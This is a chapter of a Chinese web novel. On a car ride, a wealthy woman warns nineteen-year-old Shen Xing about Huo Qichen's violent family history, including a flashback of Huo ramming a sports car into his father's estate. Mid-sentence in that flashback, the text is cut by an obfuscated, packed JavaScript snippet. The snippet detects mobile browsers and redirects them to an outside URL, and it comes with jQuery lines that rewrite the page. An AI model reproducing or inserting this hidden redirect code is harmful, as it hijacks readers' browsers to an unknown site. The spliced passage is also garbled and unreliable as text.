雨后的天空非常干净、高远,剔透得像一块冰,零星稀疏的星子冻结在里面,连折射出大气层的光线都异常温柔。
司机车开的非常稳,车速不快,能听到发动机不急不躁的呼吸声。车窗半开,温和的风声杂糅进外放的音乐,一齐压在沈行沉然的眉眼下。
好像是一个春日良夜。
“沈先生今年多大?”
一道女声加入这夜晚的协奏曲,声音轻缓并不突兀。
沈行闻声回望,同样坐在后排的王夫人正看着他,半张脸隐入昏暗,对视中沈行看不清她眼底的情绪。
他低头收回视线,抬手抚摸趴在腿上的四月,猫咪的灰发愈发衬出手背上缓慢起伏的筋络,像条河流,血液象征着生命涌动其中。
澎湃、滚烫。
“...十九。”
沈行想,这是今天第二个人问他这个问题了,他想起霍祁琛,此刻王夫人问这个问题的语气都和他一样,那种思量着什么、考虑着什么,好像他的年纪是影响某件事的因素。
“那应该还在上学吧?上大学了吗?”
车内没有点熏香,但这位女士身上淡雅的香水味盈盈缠绕在整个空间,听到沈行的回答她沉默了一瞬又问。
“是。”
他简短地回了一句,气质疏离,已经表明不欲多谈。
王夫人却像没有感受到一样,她笑了笑,抬手将一侧车窗开的更大,车载音乐歌声随之被风携卷着飘出去,突然说:
“霍祁琛不是个好相处的人,他在我们这个圈子里的名声不算好。”
沈行手一顿,抬头看着她,眼神清泠,语气还算温和委婉:
“或许您对我说这些不太合适...”
明明刚才在走廊上她已经看到霍祁琛对自己的态度,却在这时对他说这样的话...沈行感到一阵疲惫,只觉好像遇上霍祁琛就会被卷入麻烦事。
“…不,我就是讲给你听的,”王夫人抻了抻裙子的褶皱,侧头与他对视,路灯不断从车窗闪过,光线跳跃着照亮她眼底,一点内疚和歉意流出来,
“不管怎么样,是我邀请他们来参宴的,如果今晚不是我,或许你就不会与人扯上这层关系,”
人都是视觉动物,但凡换个人来王夫人都不会讲这么多,但偏偏是沈行,他像棵破土而出的青竹,沉然、安静,和她的孩子一样的年纪,却没有这个年纪该有的浮躁。
她看着沈行,快要走过人生一半旅途的她能轻易感受到男孩冷冽气质下藏不住的生命力,非常旺盛,非常坚韧,是多少苦难都消不灭的。
对于这样的人,她并不吝于用微不足道的善意多讲两句,
“我不知道你和他的关系是否是出于自愿,但不管怎样,木已成舟,我想让你知道霍祁琛是个什么样的人,起码能让你在他想要结束这段关系的时候可以安全的退出。”
沈行没有说话,他对女人的说法不置可否,语言是最有伪装性的东西,真假混杂在一起让人难以分辨。
人就如同座冰山,明朗浮在水面上是一部分,沉在水面下的更是一部分。
不过沈行也没有打断她,不管对方出于什么目的说这些但总有一点是说对的,他需要了解霍祁琛,不论是因为这场各有目的的包养关系还是为了更好调查自己的死因,他都需要了解霍祁琛。
于是从王夫人的讲述里,霍祁琛的形象在这个良夜第一次在沈行脑海中清晰起来。
不论好坏,他总算对此人有了了解——
霍祁琛的父亲赵国良是三十年前入赘到霍家的,一穷二白,凭着一副好皮相娶了霍小姐,在霍家伏小做低伪装了多年好男人,直到霍祁琛的外祖去世,他哄骗发妻将霍氏移权至他手中后本性暴露的一干二净。
包二奶、养小三还不够,甚至出现了个只比霍祁琛小一岁的私生子。
霍小姐本就体弱多病,在父亲病逝、丈夫背叛等接二连三的刺激竟也撒手人寰,驾鹤西去。
霍祁琛这年十六岁,在霍小姐下葬的第二天就被赵国良强行扭送到国外,美其名曰留学
实则是让他远离霍氏的一切杜绝与那些忠心于霍家的下属联系,堂而皇之地鸠占鹊巢。
简直就是三流烂俗小说里经典的桥段。
“是不是听起来他有些惨?”
讲到这儿王夫人笑了笑,撩起耳侧的碎发,指甲上鲜红的蔻丹闪耀着光泽,
“是有些惨,但在这种环境下成长的人,一旦有出头之日...”
她停顿了一下,忽然转头看沈行,说,
“就会处事极端,睚眦必报,行事狠辣。”
一直乖乖趴在腿上的四月忽然抬头拱了一下他的手心,沈行下意识去看,却听见女人声音穿过呼啸风声径直传来——
“听说他在赵国良的私生子办成人礼那天回国,开着一辆车直接闯进办宴会的草坪上,”
低头望着四月,有人的瞳孔却放散了,神色恍惚,
“那么高的车速,横冲直撞地冲着赵国良和那个私生子撞过去...”
温和的良夜里,沈行又听到那阵如雷般咆哮的引擎轰鸣声。
“从此,就没人再见那个私生子站起来过。”
*
“嘭——”
一扇极重极高的楠木大门轰然从门框上飞出,撕裂的风声里一辆泛着暗光的跑车碾碎门槛冲进霍宅。
突然的跑车闯入触发宅院内的警报系统,巨大的警报声盘旋在前庭上空,老宅内正在用餐的赵国良听到声音心头一跳,顾不上旁侧面露惊慌的情人和儿子,匆匆走出厅门。
天色昏沉,但霍宅户外照明良好,富丽堂皇的灯光明晰眼前的一切——
无数嘈杂的轰鸣中,有辆疾行的跑车一路横冲直撞进前庭,尘埃飞扬中那屹立在此地百年的木门被掀飞一旁,砸在石砖上落出沉闷一声响。
“霍祁琛!”
赵国良看着这辆行近的张扬跑车,急火攻心的大吼,儒雅的面相硬生生变得狰狞起来。
“爸,”这时一个坐在轮椅上的男子被人推着从宅内出来,他先喊了赵国良一声,才扭脸去看前庭,接着语气惊讶,
“哥怎么把门给撞飞了!”又瞟了一眼赵国良阴沉的脸色,状似怯懦惋惜,
“这门可满清的时候就在了...”
可惜还没等他上完眼药,陡然加重的汽车马达声就淹没他的声音,只见这辆跑车越开越快,丝毫没有降速的迹象,直直朝这个方向冲来。
朦胧尘雾中那势不可挡的架势和几年
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634839|172636||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前一模一样。
赵祁阳脸色煞白,噩梦重演的一幕让他握紧轮椅把手,几乎就要喊叫出声。
风声迫近,被车轮扬起的尘土已经扑面而来,赵国良也脸色大变,他望着这辆近在咫尺的跑车马上就要撞上来,想要开口呵斥阻止,可大脑却突然指挥不了声带发出声音。
引擎轰鸣声侵占头脑,眼看着这辆这辆跑车就要冲上台阶碾压过来,赵祁阳毫无形象地发出一声惊叫,紧接着他竟然从轮椅上猛地摔下来,手脚并用地要朝宅内爬。
刚转身,就听到一阵地面摩擦到极致的急刹。
风声减弱,飘荡尘埃中他听到一道男声——
“晚上好,赵国良。”
车堪堪停在老宅台阶下沿几厘米的地方,霍祁琛降下车窗看着门口两人。
刚刚急转刹车的动作幅度有些大,他额前碎发落下来,蓝发更映出眉眼间的桀骜与讥讽,容貌冷俊。
掀起眼皮扫了一眼趴在地上的赵祁阳,他嗤笑一声,下车倚在车前,双手抱在胸前:
“怎么?说你是狗崽子还真往地上爬,”
发动机还在隐隐嗡鸣,霍祁琛漫不经心地屈指敲了敲车前盖,发出几声闷闷的回响,
“这么识相,我是不是得奖励你?”
语气百无聊赖,非常平静,
“再给你过次成人礼怎么样?”
寂静中春风悄然撩动他下垂的风衣衣角,惬意又风流,
真是一个良夜。
*
一辆黑色奔驰驶停在巷口,车前灯和双闪都开着,光束径直投出照亮这狭窄杂乱的巷道。
王夫人目光扫过小巷,重新看向沈行:
“我讲的并不是什么秘密,霍家的那点事情早在圈子里传烂了,你不必顾虑太多,”停顿一下,她说,
“希望你能保护好自己,起码不要得罪他。”
王夫人看着眼前人,青涩俊美,仅是服务生的临时廉价制服就能让他穿得贵不可言,与这个贫陋的小巷格格不入。她看着,心下却愈发愧疚,明白如果沈行真有那种的心思,单凭他这张脸就不可能现在还住在这里。
十九岁...她暗叹一声,和自己家里五谷不分的傻孩子一样的年纪。
“祝你好运。”
世界就是这样,苦与乐从不是公平的均分,总有人从生活中得到的快乐轻如鸿毛,承受的痛苦却重于泰山。
旁观者除了道一句好运也无可奈何。
沈行站在车前,车灯强烈的光束有一半落在他身上,这个位置对他而言并不美妙,但他没有避开依旧坚持站在原地,肩背挺得很直,
“谢谢您的提醒,”光线勾勒出肩颈干净利落的线条,一股难以形容的坚韧泊在他黑沉的瞳眸上,
“不过这不是您的错,不需要内疚。相反,”他说,
“这是命运给予我的机会,一条不一样的道路,”
一个困扰已久的秘密,一次重新来过的奇迹,
沈行冲王夫人笑了笑,笑容里磅礴的朝气与生命力几乎要将黑夜晃成白昼,
“我会抓住它的。”
小巷地上积蓄的水坑煌煌耀眼,贫民窟的倒影俯伏在他脚下,宛如臣服。
无可否认的春日良夜。